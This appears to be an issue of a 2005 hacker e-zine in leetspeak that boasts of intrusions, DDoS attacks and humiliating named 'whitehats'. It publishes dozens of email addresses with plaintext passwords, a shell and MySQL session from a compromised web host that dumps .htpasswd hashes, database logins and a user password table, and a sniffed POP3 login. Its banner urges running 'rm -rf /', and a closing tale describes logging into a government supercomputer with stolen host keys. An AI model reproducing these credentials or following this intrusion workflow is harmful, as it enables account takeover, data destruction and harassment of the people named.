#!/bin/rm-rf/yourself
###########################################################
## 0wn & rm 0wn & rm 0wn & rm 0wn & rm 0wn & rm ##
## ,-----0-w-n-r-m-a-n-d-d-o-n-t-f-o-r-g-e-t-t-o-----. ##
## >-------------------------------------------------< ##
## | -~-~-~ hack @ work -~-~-~ | ##
## >-------------------------------------------------< ##
## | -~-~-~ hack @ school -~-~-~ | ##
## >-------------------------------------------------< ##
## | -~-~-~ hack @ library -~-~-~ | ##
## >-------------------------------------------------< ##
## | -~-~-~ hack @ friend's house -~-~-~ | ##
## >-------------------------------------------------< ##
## | -~-~-~ hack @ presidental nomination -~-~-~ | ##
## >-------------------------------------------------< ##
## `-----b-u-t--n-e-v-e-r--a-t--y-o-u-r--h-o-m-e-----' ##
## The hardest zine to rool the scene. ##
###########################################################
##:::::::::::::::::::::::::::::::w3:4r3:tw0:buzy:0wn1ng::##
##::::: ###:: ###: #########::::::::t0:m4k3:n3w:4scii::::##
##::::: ###:: ### ###::: ####::::::::::::::::::::::::::::##
##::::: ###:: ### ###:: #####: ###::::::: #########::::::##
##::::: ######### ###: ## ###: ########: ###:::: ###:::::##
##::::: ###:: ### ### ##: ###: ###:: ### ###:::: ###:::::##
##::::: ###:: ### #####:: ###: ###:: ### ###:::: ###:::::##
##::::: ###:: ###: #########:: ###:: ###: #########::::::##
##:::::::::::::HAPPY:THXGIVING:SEC:INDUSTRY::::::::::::::##
###########################################################
## [root@localhost:~] # rm -rf / ##
##-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-##
## do yourself a favor and rm -rf / ##
##-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-##
## [root@localhost:~] # ls ##
## bash: ls: command not found ##
###########################################################
##:::::::::::::::::::::::::::::::h0no:n3w:4ffl1l14t3:::::##
##:::::::::::::::::::::::::::(th3y:suck:4t:4scii:4sw3ll):##
## #########: #########: ###::: ### ########:: ###:: ###:##
##:::::: ### ###::: #### ####:: ### ###::::::: ###:: ###:##
##::::: ###: ###:: ##### #####: ### ###::::::: ###:: ###:##
##:::: ###:: ###: ## ### ### ## ### ####### ## #########:##
##::: ###::: ### ##: ### ###: ##### ###::::::: ###:: ###:##
##: ####:::: #####:: ### ###:: #### ###::::::: ###:: ###:##
## #########: #########: ###::: ### ########:: ###:: ###:##
##:::::::::::::::::::::::::::::::::::::::::::::::::::::::##
##:::::::::::::::::"w3:t4ught:r4f4:3v3ryth1ng:h3:kn0wz"::##
###########################################################
## 2005-~-2005-~-2005-~-2005-~-2005-~-2005-~-2005-~-2005 ##
###########################################################
Message of the Day, segfault.net
-
- 17/12/2004 10:23
- Welcome to
- ircs.
- .________._______._____ ._______.______ .____ .___ _____._
- | ___/: .____/:_ ___\ :_ ____/: \ | |___ | | \__ _:|
- |___ \| : _/\ | |___| _/ | . || | || | | :|
- | /| / \| / || | | : || : || |/\ | |
- |__:___/ |_.: __/|. __ ||_. | |___| || || / \ | |
- : :/ :/ |. | :/ |___||. _____/ |______/ |___|
- : :/ : :/
- : .net :
-
- Your IRCOp Team on ircs.segfault.net is
- skyper@segfault.net (skyper)
- gamma@segfault.net (gamma)
- andi@segfault.net (andi)
- hendy@segfault.net (hendy)
-
- "h0no rux"
2 d4yz l4t3r...
*** IRCS RE-CLOSED FOR THE GENERAL PUBLIC ***
WE STOPPED TO GIVE OUT CERTIFICATES.
BE HAPPY IF YOU HAVE A USER BOUND CERTIFICATE.
WE WILL GIVE OUT 1 CERTIFICATE TO ALL NEW USERS IN JAN 2005.
Yours sincerly,
* Connect retry #66 127.0.0.1 (31337)
-1.txt Intr0dukti0n
00.txt -~-~-~ 50 whitehat email accountz for you to rm.
01.txt -~-~-~ tal0n`s supreme hacker resume
02.txt -~-~-~ cyberarmy corpse used & abused
03.txt -~-~-~ Tales From the Dark Side of The Net
04.txt -~-~-~ shcrew submits to h0no!
05.txt -~-~-~ perlsex [aka. how to get laid]
06.txt -~-~-~ Exploit Modelling and Generalization 2
07.txt -~-~-~ d4nc3 d4rkcub3, d4nc3
08.txt -~-~-~ bhs-authkeys h4s a c4s3 0f th3 buff3r 0v3rphl0wz
09.txt -~-~-~ thor the milf hunter
10.txt -~-~-~ Incerptz from Deception Magazine
11.txt -~-~-~ th3 h0no gu1d3 t0 g3tt1ng bust3d
12.txt -~-~-~ H0NO INTERNET PROGRAM PROTOCOL SPECIFICATION
13.txt -~-~-~ boobys iz liarz
14.txt -~-~-~ Morning_wood goes limp
15.txt -~-~-~ cripy's guide to becoming elite
16.txt -~-~-~ doni038 has a bad day
17.txt -~-~-~ piss poor tal0n
18.txt -~-~-~ Mr. pd meet Mr. rm
19.txt -~-~-~ intrusion into atomix's personal space
20.txt -~-~-~ hack em up
21.txt -~-~-~ rotor got owned
22.txt -~-~-~ hackthismoron.org [aka. soulsyphon cant hack]
23.txt -~-~-~ hacker'z warez vaultz
24.txt -~-~-~ case of the missing scene whore
25.txt -~-~-~ atomix once again
26.txt -~-~-~ pROjeCKt "HeY MaM!"
27.txt -~-~-~ h0no h1tz th3 b0ttl3
28.txt 0utr0
-1.txt-~-~-~ Intr0dukti0n
Welcome back fuckz, to the only zine not on textfiles.com.
More ownings than a pr0j3ct m4yh3m cell, more rm's than a
jobe password guessing session, more 0dayz than a zone-h
forum. Are you ready for the next installment of the ever
feared h0no zine? You better fucking hope you pgp'd all
your warez and doubled checked your pda for keyloggers.
We noticed alot of whitehats have quit using irc.
Even the greatest irc whore of them all has seen his
last dayz on the eris free network. This is a profound
advancement for the hacker community. And do not
even think of hiding on retarded fucking silc, we'll
ddos that shit faster than darkacid's patented
./syn-ack-fin-ping-zap-mircforce-allinone
Hopefully by the end of the year all efnet, unet,
and freenode servers will be delinked. Follow
OseK & sly's example, DDoS anyone who talks.
ho, I see ircsnet knowz whats up. One more ircd
taken offline by the relentless h0no ddos attaq!
Skyper is shaking in pheer, gamma is checking all
his warez for bdz. fx, thinking he better be safe
is letting h0noIDSd run (he thinkz itz cmn'z 0day
warez detector). scut, the only real hacker on
planet earth, hopes to save himself from
humiliation and decides to join h0no. He echo'z
"h0no - pr0uD suPp0rT3rZ oF wh1t3h4ts 4nd the1r rm'd b0x3z."
into /etc/motd, but get'z `rm -rf ~/code/`
injected into his terminal before he pressez return.
Learn to love the h0no, or get ready to feel the
pain of our zone-h 0day.
You asked for bx ownings, you got it. You asked
for backdooring whitehat software, you got it.
You asked for more mailspools, more rm'ings, more
0days, you got it! For our zone-h friends we
would like to introduce the return of the
johnqpublic mailing list! That's right, now you
dont even need an 0dd membership to gain ops in
#darknet.
This issue is not formatted in any way. Too bad.
00.txt-~-~-~ 50 whitehat email accountz for you to rm.
4ft3r 0wn1ng th3 bugtr4q p0st1ng w4nn4b3z @ whitehat.co.il w3 d3c1d3d t0 us3 th31r 0wn
r41nb0w t4bl3 t0 cr4ck s0me p4ssw0rdz fr0m th31r us3r db. 2 m0nthz 0f cr4ck1ng, 4nd
th3y n3v3r 3v3n n0t1c3d. lucky f0r y0u p3n-t3st3rz, w3 d1dnt g3t ar0und t0 b4qd00r1ng
wh0pp1x... y3t. 4nd r3m3mb3r, 4lw4yz c0mp1l3 l1nux s3cur1ty m0dul3z wh3n 1nst4ll1ng
4 n3w d1str0. h4rh4rh4r.
blsp2003@yahoo.com pass:85208520
sene@speedy.com.ar pass:006892 <- 0wn3d f4st3r th4n 4 sp33d1ng bull3t.
cnotemisha@hotmail.com pass:080770 <- w3 rm'd 4ll th1s guyz 3m41lz.
guilamupub@ifrance.com pass:170979
j4f0@hotmail.com pass:yali604 <- 00pz, th0ught th1s w4s j4f.
st4n@safe-mail.net pass:lonya2k <- y0ur m41l 1s n0t s4f3.
kesakki@hotmail.com pass:drockford
sleepytechnics@ziplip.com pass:doop1
morningwood@thepub.co.za pass:qazwsx <- bu4h4h4h4, m0r3 0n th1s cl0wn l4t3r.
vi_ce@Phreaker.net pass: h4x00r??
axess@inbox.ru pass:Janina
ben.alamio@gmail.com pass:046238317 <- w3 s3nt h4t3 l3tt3rz t0 th1s m0r0nz gf.
invisible_true@web.de pass:wasgeht.,
nielsmans@chello.nl pass:andrehazes12
metatron12344@hotmail.com pass:foxwood
blaublut05@hotmail.com pass:06sandra22
bigtymer809@mail.com pass:juvenile <- 0wn3d th1s p1mp.
Ctzokas@aol.com pass:51l3nt50ul
sKulls.inc@web.de pass:ja09021971 <- h3 3m41l3d skyp3r 4sk1ng f0r 4n4l s3x.
jvandertil@home.nl pass:Xdfez28d
filip_waeytens@yahoo.com pass:gu9Quoro <- w4tch h1m b3g f0r j0bz. 4lm0st 4s b4d 4s m0rn1ngw00d.
dpendich@yahoo.co.uk pass:mija1joka
digger@telenet.be pass:lotuselise0
valvesoftware@gmail.com pass:deadheart <- h0no l0v3z myg0t. k33p up th3 g00d w0rk.
funnykiller@hotmail.com pass:17231723 <- 0nly th1ng funny 1s y0ur w34k p4ss.
binbag@bonbon.net pass:hm0761 <- n0t 3v3n h0tp0p c4n s4v3 y0u n0w.
jvandertil@home.nl pass:Xdfez28d
kill3r_lw@hotmail.com pass:augsburg
physaro@mail.ru pass:mk020688 <- h00k3d us up w1th m00 w4r3z.
nielsmans@chello.nl pass:andrehazes12 <- h00k3d us up w1th n3tr1c w4r3z.
fajfajf@wp.pl pass:kopijk2 <- h00k3d us up w1th is3c w4r3z.
wikeee@hotmail.com pass:jackass <- h00k3d us up w1th 0s3c p0rn.
broach27@hotmail.com pass:d1m1tr1
mtm@iaml33t.com pass:l33tc0m <- d0nt fuck w1th th3 tru3 3l33tz.
allenrintoul@yahoo.com pass:19yrdd30
phinix@gmail.com pass:9910nm <- d0rk wh0 c4nt c0de.
joker45@mails.de pass:lol50lol
Bzillins@gmail.com pass:Armm700Ada <- CCN4 stup1d1ty @ 1tz f1n3st.
xxradar@radarhack.com pass:LYHYYTvp
maartenb@cistron.nl pass:thunder1
dtredwell94@yahoo.com pass:t033631397
w4s th@ f1ft33? 3y3 c4nt c0unt. noth1ng 0n th1s b0x but w3b sh1t.
sh-2.05$ grep whitehat /etc/passwd
whitehat:x:550:550::/home/whitehat.co.il:/bin/bash
sh-2.05$ cd cgi-bin
sh-2.05$ ls -al
total 900
drwxr-xr-x 4 whitehat whitehat 4096 Jun 7 2004 .
drwxr-x--x 22 whitehat whitehat 12288 Dec 18 07:37 ..
-rw-r--r-- 1 whitehat whitehat 150 Jun 7 2004 .htaccess
-rw-r--r-- 1 whitehat whitehat 19 Jun 7 2004 .htpasswd
-rw-r----- 1 whitehat whitehat 1516 Jun 7 2004 LICENSE
-rw-r--r-- 1 whitehat whitehat 5212 Jun 7 2004 README
drwxr-xr-x 2 whitehat whitehat 4096 May 19 2004 fileman-2.1.1
-rw-r--r-- 1 whitehat whitehat 867434 Jun 7 2004 fileman-2.1.1.tar.gz
-rwxr-xr-x 1 whitehat whitehat 3145 Feb 7 2003 fileman.cgi
drwxrwxrwx 2 whitehat whitehat 4096 Jun 7 2004 images
sh-2.05$ cat .htaccess
AuthUserFile /home/whitehat.co.il/html/cgi-bin/.htpasswd
AuthGroupFile /dev/null
AuthType Basic
AuthName Protected
require valid-user
sh-2.05$ cat .htpasswd
muts:H.Z./aF2k1kTE
sh-2.05$ cd ..
sh-2.05$ cd e107_files
sh-2.05$ ls -al
total 88
drwxr-xr-x 10 whitehat whitehat 4096 Sep 29 16:04 .
drwxr-x--x 22 whitehat whitehat 12288 Dec 18 07:37 ..
drwxr-xr-x 2 whitehat whitehat 4096 Mar 2 2004 backend
drwxr-xr-x 2 whitehat whitehat 4096 May 28 2004 cache
-rw-r--r-- 1 whitehat whitehat 2533 Sep 29 16:16 def_e107_prefs.php
-rw-r--r-- 1 whitehat whitehat 416 Jun 2 2004 default.css
drwxr-xr-x 2 whitehat whitehat 4096 Mar 2 2004 downloadimages
drwxr-xr-x 15 whitehat whitehat 4096 Mar 24 2004 downloads
drwxr-xr-x 2 whitehat whitehat 4096 Mar 2 2004 downloadthumbs
-rw-r--r-- 1 whitehat whitehat 741 Jun 2 2004 e107.css
-rw-rw-rw- 1 whitehat whitehat 4648 Sep 29 16:16 e107.js
drwxr-xr-x 2 whitehat whitehat 4096 Mar 2 2004 images
drwxr-xr-x 2 whitehat whitehat 4096 Mar 3 2004 misc
drwxrwxrwx 3 whitehat whitehat 8192 Dec 19 19:55 public
-rw-rw-rw- 1 whitehat whitehat 9381 Sep 29 16:04 resetcore.php
-rw-r--r-- 1 whitehat whitehat 642 Sep 29 16:04 style.css
-rw-r--r-- 1 whitehat whitehat 0 Jun 2 2004 user.js
sh-2.05$ mysql --user=whitehat_ntlm --password=dantlmpwoject
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 15175305 to server version: 4.0.14-log
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;
+---------------+
| Database |
+---------------+
| whitehat_ntlm |
+---------------+
1 row in set (0.00 sec)
mysql> use whitehat_ntlm
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------------+
| Tables_in_whitehat_ntlm |
+-------------------------+
| ntml_login |
| ntml_tables |
| ntml_users |
+-------------------------+
3 rows in set (0.00 sec)
mysql> select * from ntml_users;
+----+-------------+------------+
| id | username | pwd |
+----+-------------+------------+
| 4 | muts | ntlmthang |
| 5 | ports | 0469gj7tio |
| 6 | Dyngnosis | ewenm0re |
| 7 | skiller | T5oa0rlu |
| 8 | illwill | 4PoekIEt |
| 9 | st4n | prOuqO92 |
| 10 | sl33py | z8u7oapr |
| 11 | koka | p9lUph2A |
| 12 | icem3n | 6iumouD1 |
| 13 | Viking | MiU0oeHL |
| 14 | epikorous | dO7foU1o |
| 15 | jerryshenk | slek6ah3 |
| 16 | realmus | kL55iETr |
| 17 | bitwild | fLEdOa7i |
| 18 | syko | X1ubrLAm |
| 19 | stardust | 6oapOEfr |
| 20 | xxradar | piag7eWr |
| 21 | GuYoMe | XLucouM0 |
| 22 | gabriel | tHluV4ut |
| 23 | Saphirio | cR5uf6lu |
| 24 | phrozen77 | 9oEtHies |
| 25 | sh4d0w | M7abRiEK |
| 26 | kodkod | 6lEtH0as |
| 27 | foobar | jiUD7oeS |
| 28 | Lonsdale | p0iUGoaY |
| 29 | cReDiAr | p0iUGoaY |
| 30 | wiley | qleki43L |
| 31 | revised | swoU33eT |
| 32 | villanovax | fr9UPrOe |
| 33 | bigticket | dRo2sOAr |
| 34 | psich | DL0tri5d |
| 35 | smeagul | cr1no!0 |
| 36 | itzik | cHIabr6a |
| 37 | Blsp | d0uFRled |
| 38 | WiNeOS | spleziu0 |
| 39 | mandoskippy | kl15a01 |
| 40 | J-ATHIAS | wrOE29ut |
| 41 | s1ruS | klemI02l |
| 42 | Andy | N48stlUr |
| 43 | ThaGangsta | XLustlUr |
| 44 | Lotek | Sc4p3r45 |
| 45 | l33ters | kleUPrOe |
| 46 | Titon | rLAmkleU |
| 47 | hegemonie | d0uFbrLA |
| 48 | phenfen | z8uleq2c |
| 49 | ark | d0uFI0cC |
| 50 | HMS | 0oufIAno |
| 51 | gabry | ouM0N48d |
| 52 | z0mbi3 | 0rluFdf3 |
| 53 | SeC_SquaD | brlesT6u |
| 54 | c0axial | Fdf3led5 |
| 55 | vice | 0rlFk6ah |
| 56 | striz | dlasw4Ef |
+----+-------------+------------+
53 rows in set (0.00 sec)
mysql> select * from ntml_login
select * from ntml_login;
+-----------+----------------------------------+------------+-----------------+----------------------------------------------------+
| username | uin | expire | ip | browser |
+-----------+----------------------------------+------------+-----------------+----------------------------------------------------+
| phrozen77 | 927738bed5ead0abdba7b587d5820c92 | 1103492331 | 217.224.199.249 | T 5.0; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0 |
+-----------+----------------------------------+------------+-----------------+----------------------------------------------------+
1 row in set (0.01 sec)
mysql> exit
Bye
sh-2.05$ cd ../5
sh-2.05$ ls -al
total 272
drwxr-xr-x 2 whitehat whitehat 4096 Aug 15 04:55 .
drwxr-x--x 22 whitehat whitehat 12288 Dec 18 07:37 ..
-rw-r--r-- 1 whitehat whitehat 1325 Jul 19 07:45 action.php
-rw-r--r-- 1 whitehat whitehat 1620 Jul 19 07:45 admin.php
-rw-r--r-- 1 whitehat whitehat 603 Jul 19 13:54 config.inc.php
-rw-r--r-- 1 whitehat whitehat 1893 Aug 7 11:05 index.html
-rw-r--r-- 1 whitehat whitehat 786 Jul 19 09:18 index.html.orig
-rw-r--r-- 1 whitehat whitehat 2860 Jul 19 15:56 list.php
-rw-r--r-- 1 whitehat whitehat 1748 Jul 19 07:45 login.php
-rw-r--r-- 1 whitehat whitehat 2252 Jul 19 07:51 login_check.inc.php
-rw-r--r-- 1 whitehat whitehat 172 Jul 19 07:45 logout.php
-rw-r--r-- 1 whitehat whitehat 220368 Aug 7 11:06 md5.jpg
sh-2.05$ pwd
/home/whitehat.co.il/html/5
sh-2.05$ cat config.inc.php
cat config.inc.php
<?
// mysql data
$mysqlhost="localhost";
$mysqluser="whitehat_md5p";
$mysqlpwd="fuckingwork@";
$mysqldb="whitehat_md5";
mysql_connect($mysqlhost, $mysqluser, $mysqlpwd);
$adminpwd = "whosyourdaddy"; // used to add users
$datum = date("d.m.y");
// userdata - do not change
$get_username_only = mysql_db_query($mysqldb, "select * from md5p_login where uin='$UIN'");
$username_only = mysql_fetch_object($get_username_only);
$get_userdaten = mysql_db_query($mysqldb, "select * from md5p_users where username='$username_only->username'");
$userdaten = mysql_fetch_object($get_userdaten);
?>sh-2.05$
n33dl3ss t0 s4y, th3s3 wh1t3h4t fuckz g0t 0wn3d t0 h3ll n b4ck. 1t 1z y0ur duty t0 rm th31r m41l 4s4p!
4ls0, 4s 4 n0t3 t0 mutz, pl34s3 k33p m0r3 0d4yz 0n th1s s3rv3r. W3 h4t3 t0 us3 0ur 0wn.
01.txt-~-~-~ tal0n`s supreme hacker resume
tal0n` 1s 4n 3x-d3f4c3r 4nd curr3nt l34d3r 0f th3 3v3r sk1ll3d g0tf4ult
s3cur1ty gr0up. H3 1s 4ls0 curr3ntly un3mpl0y3d. N0t1c3 4s st4t3d
b3f0r3 1n h0no, tal0n` cl4mz t0 b3 21 y34rz 0ld. Th4t'z 4l0t 0f t1m3
sp3nt try1ng t0 gr4du4t3 h1gh sch00l. l0lz.
Name: <Edited>
Contact: cyber_talon@hotmail.com or cybertalon@gmail.com
Objective: Seeking position as a network and/or system administrator
or security anaylst/consulant.
Education: High School Student.
Skills: Administration - Linux/BSD System and Network Administration.
Hardware - Building, Development, Trouble-shooting.
Operating Systems - BSD, Linux, Solaris, Windows.
Programming - ASM, C, C++, Perl, UNIX Socket.
Networking: Filtering, Firewalls, Routers, TCP/IP.
Scripting - BASH, HTML.
Software - Console, FTPd, HTTPd, KDE, SSHd.
Other - Advanced Configuration and Development, Code Auditing,
People Skills.
Experience: BSD - 2 Year
Linux - 3 Years
Solaris - 6 Months
Windows - 5 Years
Networking: Successfully networked 5-6 computers together using a
router and a switch thru a cable internet connection.
Wrote /etc/host files on Linux/BSD for ease of access.
Experience with network mapping, discovery, and some
routing.
Written Code: DES Text Encryptor - http://www.hbx.us/tal0n/code/cit.c
HTTPd Checker - http://www.hbx.us/tal0n/code/httpd-chk.c
RAW Packet Crafter -
http://www.hbx.us/tal0n/code/pcraftv2.c
Root Password Generator -
http://www.hbx.us/tal0n/code/trpg.c
System Log Injector -
http://www.hbx.us/tal0n/code/loginject.c
Written Texts: Beginners Guide to UNIX Sockets on Linux in C -
http://www.hbx.us/tal0n/papers/unixsocket-guide.txt
Code Auditing in C -
http://www.hbx.us/tal0n/papers/codeauditing.txt
FreeBSD Security Techniques -
http://www.hbx.us/tal0n/papers/fbsd-sec-teqs.txt
Introduction to Social Engineering -
http://www.hbx.us/tal0n/papers/social-engineering.txt
Linux System Administators Security Guide -
http://www.hbx.us/tal0n/papers/lin-adm-secguide.txt
Other Hobbies/Skills: Basketball, Engineering, Inventing, Motorsports,
Security, Tennis.
D34r tal0n`,
h0no 1s curr3ntly 1n n33d 0f a jr. m41lr00m 4tt3nd3nt. w3
f33l 4s 1f y0ur c0ntr1but10nz t0 th3 s3cur1ty c0mmun1ty c0uld b3tt3r
b3 s3rv3d h4ndl1ng 3nv0l0p3z 0f 4nthr4x th4n n3tw0rk1ng y0ur g4m3b0y
4dv4nc3z t0g3th3r. 1f s3l3ct3d f0r th3 j0b w3 h0p3 y0u w1ll h3lp 0ur
curr3nt t3nn1s t34m by supply1ng 4n 3xtr4 r4ck3t. w3 br0k3 0n3 0v3r
m1tn1ck'z h34d 4t th1s y34rz d3fc0n. pl34s3 r3sp0nd 4s4p, 4s th1s
0ff3r w0nt l4st l0ng. 4tt4tch3d 1s 4 n3w h4ck3r r3sum3 t3mpl4t3 f0r
y0ur futur3 us3. g00d luck!
-w3 0wn y0ur 4ss,
h0no.
-~-~-~ h4ck3rcr4ck3r.txt
h3ll0~!@# my n4m3 1s __[insert name]__, but y0u c4n c4ll m3
__[insert handle]__. c0nt4ct m3 0n 4lt.s3x.s1st3r
my 0bj3ct1v3 1s t0 __[h4ck/d0s/sp4m/b3c0m3 bugtr4q st4r]__
3duc4t10n: g.3.d.. w3ll 4lm0st, 3y3 n33d a j0b t0 p4y f0r b00kz!@#
my sk1llz 1nclud3, but 4r3 n0t l1m1t3d t0...
pr0gramm1ng & scr1pt1ng - 0r wh4t 3y3 l1k3 t0 c4ll b0rl4nd
bu1ld3r'1ng.
4dm1n1str4t10n - th1s 1s wh4t y0u d0 4ft3r y0u 0wn 4 b0x. h3h3
0p3r4t1ng syst3mz - win 3.1,98,nt,lunix,nuxi,OS10xpl.50sp,
__[osirisis/obsd/macos 4/juniper os]__
(1t r34lly d03snt m4tt3r s1nc3 w1nd0wz 1s
4ll y0u'll b3 lus1ng.)
0th3rz - 4DV4ND3D!! c0nf1gur4t10n(.bashrc & 3d1t1ng cr0n j0bz)
3xp3r3nc3 1nclud3z, 4nd 1s s3v3r3ly l1m1t3d t0...
st4rt1ng w1nd0wz 4nd b34t1ng up my s1st3r.
N3tw0rk1ng!@# (my sp3ch1alty)
3y3 c4n c4ll t3chn1c4l supp0rt 4ny t1m3, 4ny wh3r3 w1th my
n4t10nw1d3 c3llul4r ph0n3 c0v3r4g3 by spr1nt pcs.!!!!
3y3 th1nk 3y3 h4v3 s33n 4 __[c4t5e/f1b3r/c0x14l/1nt3rn3t]__
c4bl3 b3f0r3.
wr1tt3n c0de...
1t'z 4ll b33n rm'd du3 t0 l4m3n3ss. 3y3'll g3t
__[v1l3`/bx/blue boar/red dragon/purple jimi]__ t0 c0de
s0m3th1ng f0r m3.
Wr1tt3n t3xt.. (pl34s3 n0t3 th4t 3y3 wr0t3 th3s3 m0stly by my s3lf, my
s1st3r h3lp3e w1th sp3ll1ng. but 0nly 4 l1ttl3!!@#)
h0w t0 b4r3b4ck, th3 g4y w4y.
us1ng, 4nd r3us1ng c0d3.
h0w t0 aud1t f0r strcpy's 1n j4v4
futur3 b00k r3l34s3 1s pl4nn3d w1th so1o 1n 2005!@#
(t1tl3: h0w t0 h4ck 4m3r1c4n sh1tbr1ckz. vol. 1)
0th3r H0bb13s/Sk1llz...
3y3 c4n run n4k3d 4r0und my h0us3 1n und3r 4 s3c0ndz.
curr3ntly l43rn1ng 4b0ut c0ndumz 1n h43lth cl4ss.
c4n m4k3 4 qu4ck1ng n01s3 w1th my n0s3.
t3nn1s. (3y3 4m th3 n3xt 4urth3r 4sh)
02.txt-~-~-~ cyberarmy corpse used & abused
by kajun.
I hacked someone!! want to hear about it? Dont tell anyone it was me!
I hate the cyberarmy. I tried their challenges but I could only
make it to trooper. After asking mryowler for help he told me to
learn networking.. Fuck that. Networking is for like dorks who sit
all day making up subnets for their lans of dreamcasts.
Instead I sat on irc and message boards hoping some hackers would
tell me passwords to hacked accounts. hehe, this works good and I can
still beat off to my jpegs of di]v[ples.
It just so happend that I was on the cyberarmy.net forum when
somebody posted with the nick of 'eYeOwNYoUaLL'. Judging by his
nick this guy is a supreme hacker. Needless to say I wasn't
disappointed by his post, check it out:
Posted by: eYeOwNYoUaLL
on Friday Oct. 29th 2004 by *.ownz.shcrew.net
H3Y B0YZ 4ND G1RLZ, TR00P3RZ 4ND G3N3R4LZ. 3Y3 W4S SN1FF1NG
S0M3 K0R34N'Z N3T WH3N I R4N ACC0SS TH1Z.
+OK <1219.1082946821@ch0wn.com>
user sirexar@crazy-horse.net
+OK
pass ch0wnj00
1PH U N33D H3LP L0G1N1NG 1N JUST 4SK M3 0N H0N0'Z 0FF1C4L
1RC CH4NN3L, #DARKNET (TH4TZ 3FN3T, N0T CYB3R4RMY 1RCD).
I couldn't believe my eyes. I know I saw a user and password in
there, but there was alot of networking shit too. I imediately
opened trillian and visited this #darknet channel. WOW! elite guys
in there. I was almost so intimidated that I creamed my shorts.
Luckily for me I just went to the bathroom to beat off 5 mins prior.
eYeOwNYoUaLL helped me out in private messages. He said to get a pop3
client or whatever. I didn't listen. Instead I told him to just show
me any emails from cyberarmy.net. These h0no guys are very helpful.
He messaged me this:
* er1cbrux is er1cbrux!efnet@icerslair.com eY3OwNYoUaLL
* er1cbrux is +#darknet
* er1cbrux has been idle 1452 hours 12 mins 53 secs.
* er1cbrux is using irc.efnet.org
er1cbrux!efnet@icerslair.com> h3r3 1t 1z..
er1cbrux!efnet@icerslair.com> From: "CyberArmy"
er1cbrux!efnet@icerslair.com> <webmaster@cyberarmy.net>
er1cbrux!efnet@icerslair.com> To: "ViRsOveRiD"
er1cbrux!efnet@icerslair.com> <sirexar@crazy-horse.net>
er1cbrux!efnet@icerslair.com> Date: 28 Oct 2004, 01:09:30 PM
er1cbrux!efnet@icerslair.com> Subject: Password Successfully Reset
er1cbrux!efnet@icerslair.com> (virsoverid)
er1cbrux!efnet@icerslair.com>
er1cbrux!efnet@icerslair.com> ----------------------------------------
er1cbrux!efnet@icerslair.com> ---------------------------------------
er1cbrux!efnet@icerslair.com>
er1cbrux!efnet@icerslair.com> The following is an automated email from
er1cbrux!efnet@icerslair.com> CyberArmy.
er1cbrux!efnet@icerslair.com>
er1cbrux!efnet@icerslair.com> Hello,virsoverid
er1cbrux!efnet@icerslair.com> This is a confirmation that your
er1cbrux!efnet@icerslair.com> CyberArmy password
er1cbrux!efnet@icerslair.com> has been reset to: 19aHPxl6
er1cbrux!efnet@icerslair.com>
er1cbrux!efnet@icerslair.com> --
er1cbrux!efnet@icerslair.com> CyberArmy,
er1cbrux!efnet@icerslair.com> http://www.cyberarmy.net/about/
er1cbrux > thanks dude!
er1cbrux > you got any logins for porn ftps??
He did not reply to my last request. He must have been busy hacking
some for me. I tried to go back to efnet later because I couldnt
figure out how to login to cyberarmy, but he was no longer in
#darknet. Hopefully someone out there can figure this great hacker
mystery out!
ps. cyberarmy.com rules cyberarmy.net. mryowler can code circles
around you .net fools.
pss. I heard sirexar is an ircop on cyberarmy's ircd. I hope no one
(wa1800z@cyberarmy.net) emailed him his ircop pass. Someone
login and check this out for me!!
03.txt-~-~-~ Tales From the Dark Side of The Net
t00 3l173 f0r us, 1tz th3 TDSN z1n3@!# str8 fr0m b0b'z sh3ll.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ____.____ ____._.__ ___.___ ______.____ ³
³| | | \_ _/ \_ | | ': ³
³|_ _| | . | | ._____: | : | ³
³ | | | .: | |______ | | | ³
³ | . | :. | | `| | | . | ³
³ | : | _| |_ _| | : | ³
³ :.____| :.____ ___/ \___ ___/ :.___|______| ³
³ ' ' ' ' ³
³±±±±-- Tales From the Dark Side of The Net±±±±±±±±±±±±³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
TDSN Ep. 0x0 - by the anonymous hacker previously known as *****
~~~~~~~~~~~~~
y0. with great pleasure i present to you the first episode of TDSN.
this is something i made so ppl c4n s3e h0w co0l hekkers are.
nah, its just fun to read
for the first episode i figured..man, theres this idiot. hes a fucking banana
i want to crack his password so bad. so i use my leet skillz to get it
mofo:ph5BNn5xY7nT6:12303::::::
ok leet. on my machine i only get about 500.000 keys/sec on regular des
so i figured, wtf, letz just use a supercomputer.
so i surf the web alittle and find one that suits my needs.
The Oak Ridge National Laboratory's "Cheetah".
i present to you a small excerpt:
Cheetah is a 27-node IBM pSeries System operated by the Computer Science and
Mathematics Division of Oak Ridge National Laboratory.
Cheetah has 27 "Regatta" nodes, each with thirty two 1.3 GHz Power4 processors.
The Power4 storage hierarchy consists of three levels of cache. The first and
second levels are on board the Power4 chip (two processors to a chip.) Level 1
instruction cache is 128 KB (64 KB per processor) and the data cache is 64 KB
(32 KB per processor.) The level 2 cache is 1.5 MB of L2 cache shared between
two processors. The level 3 cache is 32 MB and off-chip. There are 16 chips
per node.
OK pretty neat. that would be nice to crack the little slut's password on
So basically, this computer has got 32 * 27 1.3 GHz Power4 processors.
mkayz
well
where to begin?
well..i dunno really. one day i found myself rooting an undisclosed .edu in
the us and...tdah. <3 hostkeys
nyanya[.ssh]> ssh cheetah.ccs.ornl.gov
cens0red@cheetah.ccs.ornl.gov's password:
Last login: Sun Nov 16 22:33:13 EST 2003 on ssh from cens0red.edu
************************************************************************
NOTICE TO USERS
This is a Federal computer system and is the property of the United
States Government. It is for authorized use only. Users (authorized or
unauthorized) have no explicit or implicit expectation of privacy.
Any or all uses of this system and all files on this system may be
